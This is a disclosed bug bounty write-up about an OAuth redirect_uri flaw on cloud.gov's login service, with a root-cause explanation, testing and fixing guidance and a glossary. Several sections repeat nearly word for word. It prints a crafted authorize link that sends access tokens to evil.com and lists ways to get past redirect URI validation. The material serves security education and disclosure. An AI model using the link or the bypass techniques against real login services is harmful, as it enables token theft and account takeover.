Stealing Users OAuth Tokens through redirect_uri parameter
The OAuth authorisation endpoint accepted an arbitrary external redirect_uri, so a crafted login link sent the access token to an attacker-controlled domain. An attacker could use the stolen token to take over the victim's account.
- Fixed in 48 days
- Paid in 56 days
- Disclosed after 2 months
I found that https://login.fr.cloud.gov/oauth/authorize has vulnerability by open redirect on oauth redirect_uri which can lead to users oauth tokens being leaked to any malicious user.
Step : 1, Clicked on link https://login.fr.cloud.gov/oauth/authorize?client_id=███&response_type=token&redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallback&state=███
2, Choose any .gov account to login ( Screenshot ) then i believe you will got redirect to evil.com with oauth access token .
Impact
Attacker can using this bug to stolen victim access token , that means he can takeover victim account .
What the report shows
The target is the authorisation endpoint of the cloud.gov login service at login.fr.cloud.gov, specifically the OAuth authorise path. The researcher reports an open redirect on the redirect_uri parameter of this endpoint, which can leak the user's OAuth token to a malicious host.
The reproduction is two steps. First, the researcher opened a crafted authorisation URL:
https://login.fr.cloud.gov/oauth/authorize?client_id=███&response_type=token&redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallback&state=███
The client_id and state values are redacted in the published report. The response_type is token, which is the implicit flow: the access token is returned in the fragment of the redirect URL rather than through a back-channel code exchange. The redirect_uri is URL-encoded and points at https://evil.com/auth/callback.
Second, the researcher selected any .gov account on the login page and signed in. The report states that after login the browser is redirected to evil.com with the OAuth access token attached.
It does not describe a fix.
Root cause
The likely root cause is that the authorisation endpoint accepts a redirect_uri that does not match the value registered for the client, or performs only a loose comparison (for example a prefix or substring check) that a different host can satisfy. In the OAuth authorisation flow the server is supposed to treat the registered redirect URI as the only permitted destination and reject any request whose redirect_uri differs. When that check is missing or weak, the endpoint behaves as an open redirect that happens to carry credentials.
The choice of the implicit flow makes the consequence worse: the token is placed in the fragment of the redirect target, so it is delivered to whatever host the parameter names, with no code exchange step that would require the attacker to also hold a client secret.
Impact
As the report puts it, an attacker can use the bug to steal a victim's access token, and holding that token means taking over the victim's account. The report says an attacker can use the bug to steal a victim's access token, which means taking over the victim's account. The report does not go into token lifetime, scope or what actions the stolen token permits.
How this kind of bug works
OAuth separates the client that requests access from the authorisation server that grants it. The client registers one or more redirect URIs in advance, and the authorisation server is meant to send the user agent only to one of those exact values after the user authenticates. The redirect URI is therefore a security boundary, not a convenience parameter: it decides where credentials land.
If the server trusts a redirect_uri supplied in the request without an exact match against the registration, anyone can point the flow at their own site. In the authorisation code flow the attacker receives a code that is useless without the client secret, which limits the damage. In the implicit flow the token itself arrives in the fragment, so the attacker gets a usable credential directly. Similar damage arises when the server allows a looser match than exact string equality: a path traversal in the registered path, an extra subdomain, a different scheme, or a parameter appended to a permitted URI can all let an attacker-controlled destination pass the check.
Defences are exact matching of the full redirect URI against the registered value, no wildcard or substring matching, rejection of anything that does not match, and a preference for the authorisation code flow with PKCE over the implicit flow so that a leaked redirect does not by itself hand over a token.
How to test for it
- Find the authorisation endpoint. Look for paths containing
oauth,authorize,authorise,connectoropenid, and for parameters such asclient_id,redirect_uri,response_type,scopeandstate. - Capture a legitimate authorisation request from the application's own login flow, so you have a valid
client_idand a known-goodredirect_uri. - Replay the request with the
redirect_urichanged to a host you control, keeping everything else identical. Watch whether the server rejects the request outright or accepts it and later redirects there. - If it is rejected, try variations that often slip past weak validation: a different subdomain of the registered host, the registered host as a userinfo component or as a query parameter of your host, a path appended after the registered path, a different scheme, and encoded or double-encoded forms of the same values.
- Complete the login and observe the final redirect. A positive result is the browser landing on your host with a code or token in the query string or fragment.
Common false positives: the server shows an error page but still reflects the URI in a link, which is not a redirect; the redirect happens only after an explicit consent screen that names the destination, which reduces but does not remove the issue; and redirects that carry no credential, which are ordinary open redirects rather than token theft. Confirm that a credential actually arrives at your host before claiming impact.
How it is fixed
Register the permitted redirect URIs per client and compare the incoming redirect_uri to them with exact string matching. Reject any request that does not match, rather than falling back to a default. Do not allow wildcards, substring matches or path traversal in the comparison. Prefer the authorisation code flow with PKCE and short-lived, scoped tokens over the implicit flow, so that a misdirected redirect yields less. Require user consent that displays the destination host, and consider binding the flow to the session with state so that unsolicited authorisation requests are detectable.
Hunting notes
Authorisation endpoints are easy to miss because they often sit on a separate login host from the main application, as here. Recon signals include a login or SSO host distinct from the product domain, OAuth or OpenID paths in JavaScript bundles and well-known configuration documents, and clients that use the implicit flow, visible from response_type=token in captured traffic.
To make the report land, show the full request, the login step and the final redirect to your host with the credential visible, and explain what the token grants. If the token is short-lived or narrowly scoped, say so, because that changes the severity a triager will assign.
What happened, in plain words
Many websites let you sign in with an account you already have, instead of creating a new password. The service in this report, cloud.gov, does that through a login page at login.fr.cloud.gov. Behind that page is a standard mechanism called OAuth, which is a way for one website to ask another website for permission to act on your behalf. Think of it like a cloakroom ticket: you show your ID once, and you get a ticket that lets you collect your coat. The ticket is called a token, and whoever holds it can collect the coat.
The researcher found that the OAuth authorise endpoint had a flaw in a parameter called redirect_uri. That parameter tells the login page where to send you once you have signed in. Normally the login page should only send you back to the application that asked for the login, and nowhere else. Here, it would send you to any address the attacker chose, and it would attach your access token to that address. So an attacker could build a link, send it to a victim, and when the victim signed in, the victim's token would land on the attacker's website.
What the report shows
The target is the authorisation endpoint of the cloud.gov login service, at the OAuth authorise path on login.fr.cloud.gov. The researcher reports an open redirect on the redirect_uri parameter of this endpoint, which can leak the user's OAuth token to a malicious host.
The reproduction is two steps. First, the researcher opened a crafted authorisation URL:
https://login.fr.cloud.gov/oauth/authorize?client_id=███&response_type=token&redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallback&state=███
Let us take that URL apart, because every part matters:
https://login.fr.cloud.gov/oauth/authorizeis the address of the login service's authorisation endpoint. This is the door you knock on to start a sign-in.client_id=███identifies which application is asking for access. The value is redacted in the published report.response_type=tokentells the server what kind of answer you want. Withtoken, the access token is returned in the fragment of the redirect URL, rather than through a separate back-channel exchange. This is called the implicit flow.redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallbackis where the server should send you afterwards. The value is URL-encoded, which is why it looks like%3Aand%2Finstead of:and/. Decoded, it readshttps://evil.com/auth/callback.state=███is a value the client sends along and expects back, used to tie the response to the request that started it. It is redacted here.
Second, the researcher selected any .gov account on the login page and signed in. The report states that after login the browser is redirected to evil.com with the OAuth access token attached.
Why does each step matter? The first step is the attack being set up: the crafted link is what an attacker would send to a victim. The second step is the victim doing the ordinary thing, signing in with an account they already have. The victim sees a normal login page and has no reason to suspect anything. The redirect then carries the token to the attacker's host, and the report says the attacker can use that token to take over the victim's account.
The report does not describe a fix.
Root cause
The likely root cause is that the authorisation endpoint accepts a redirect_uri that does not match the value registered for the client, or performs only a loose comparison, such as a prefix or substring check, that a different host can satisfy. In the OAuth authorisation flow the server is supposed to treat the registered redirect URI as the only permitted destination and reject any request whose redirect_uri differs. When that check is missing or weak, the endpoint behaves as an open redirect that happens to carry credentials.
The choice of the implicit flow makes the consequence worse: the token is placed in the fragment of the redirect target, so it is delivered to whatever host the parameter names, with no code exchange step that would require the attacker to also hold a client secret.
Impact
As the report puts it, an attacker can use the bug to steal a victim's access token, and holding that token means taking over the victim's account. The report says an attacker can use the bug to steal a victim's access token, which means taking over the victim's account. The report does not go into token lifetime, scope or what actions the stolen token permits.
In general, how this kind of bug works
OAuth separates the client that requests access from the authorisation server that grants it. The client registers one or more redirect URIs in advance, and the authorisation server is meant to send the user's browser only to one of those exact values after the user authenticates. The redirect URI is therefore a security boundary, not a convenience parameter: it decides where credentials land. A useful comparison is a postal redirect: if the post office will forward your mail to any address someone writes on a form, anyone can have your letters delivered to them.
If the server trusts a redirect_uri supplied in the request without an exact match against the registration, anyone can point the flow at their own site. In the authorisation code flow the attacker receives a code that is useless without the client secret, which limits the damage. In the implicit flow the token itself arrives in the fragment, so the attacker gets a usable credential directly. Similar damage arises when the server allows a looser match than exact string equality: a path traversal in the registered path, an extra subdomain, a different scheme, or a parameter appended to a permitted URI can all let an attacker-controlled destination pass the check.
Defences are exact matching of the full redirect URI against the registered value, no wildcard or substring matching, rejection of anything that does not match, and a preference for the authorisation code flow with PKCE over the implicit flow so that a leaked redirect does not by itself hand over a token.
In general, how to test for it
- Find the authorisation endpoint. Look for paths containing
oauth,authorize,authorise,connectoropenid, and for parameters such asclient_id,redirect_uri,response_type,scopeandstate. - Capture a legitimate authorisation request from the application's own login flow, so you have a valid
client_idand a known-goodredirect_uri. - Replay the request with the
redirect_urichanged to a host you control, keeping everything else identical. Watch whether the server rejects the request outright or accepts it and later redirects there. - If it is rejected, try variations that often slip past weak validation: a different subdomain of the registered host, the registered host as a userinfo component or as a query parameter of your host, a path appended after the registered path, a different scheme, and encoded or double-encoded forms of the same values.
- Complete the login and observe the final redirect. A positive result is the browser landing on your host with a code or token in the query string or fragment.
Common false positives: the server shows an error page but still reflects the URI in a link, which is not a redirect; the redirect happens only after an explicit consent screen that names the destination, which reduces but does not remove the issue; and redirects that carry no credential, which are ordinary open redirects rather than token theft. Confirm that a credential actually arrives at your host before claiming impact.
In general, how it is fixed
Register the permitted redirect URIs per client and compare the incoming redirect_uri to them with exact string matching. Reject any request that does not match, rather than falling back to a default. Do not allow wildcards, substring matches or path traversal in the comparison. Prefer the authorisation code flow with PKCE and short-lived, scoped tokens over the implicit flow, so that a misdirected redirect yields less. Require user consent that displays the destination host, and consider binding the flow to the session with state so that unsolicited authorisation requests are detectable.
In general, hunting notes
Authorisation endpoints are easy to miss because they often sit on a separate login host from the main application, as here. Recon signals include a login or SSO host distinct from the product domain, OAuth or OpenID paths in JavaScript bundles and well-known configuration documents, and clients that use the implicit flow, visible from response_type=token in captured traffic.
To make the report land, show the full request, the login step and the final redirect to your host with the credential visible, and explain what the token grants. If the token is short-lived or narrowly scoped, say so, because that changes the severity a triager will assign.
Glossary
- OAuth: a standard way for one website to obtain limited access to your account on another website, without sharing your password.
- Authorisation endpoint: the address on a login server where a sign-in request starts.
- Client: the application that asks the login server for access on your behalf.
- Authorisation server: the login service that checks who you are and issues the token.
- Token: a credential, like a cloakroom ticket, that proves you are allowed to act; whoever holds it can use it.
- Access token: the specific token that grants access to a user's account or data.
redirect_uri: the parameter that says where to send the browser after sign-in.- Redirect URI: the destination registered in advance by the client, which the server should be the only one allowed to use.
- Open redirect: a flaw where a site sends users to any address supplied in a link, rather than only to approved ones.
- Implicit flow: an OAuth mode where the token is returned directly in the redirect URL, indicated by
response_type=token. - Authorisation code flow: an OAuth mode where a short-lived code is returned first and exchanged for a token using a client secret.
- PKCE: an addition to the code flow that ties the code exchange to the original request, so a stolen code is harder to use.
- Client secret: a password-like value known only to the client application.
- Fragment: the part of a URL after
#, which is not sent to the server but is readable by the page. - Query string: the part of a URL after
?, made of parameter names and values. - URL encoding: writing special characters as
%codes, such as%3Afor:and%2Ffor/. client_id: the identifier of the application making the request.response_type: the parameter that selects which OAuth flow and answer format is used.state: a value passed through the flow and returned unchanged, used to tie a response to its request.- Scope: the set of permissions a token carries.
- Consent screen: a page that asks the user to approve access and shows where they will be sent.
- False positive: a finding that looks like a bug but is not exploitable in practice.
- Triager: the person who reviews a submitted report and decides its validity and severity.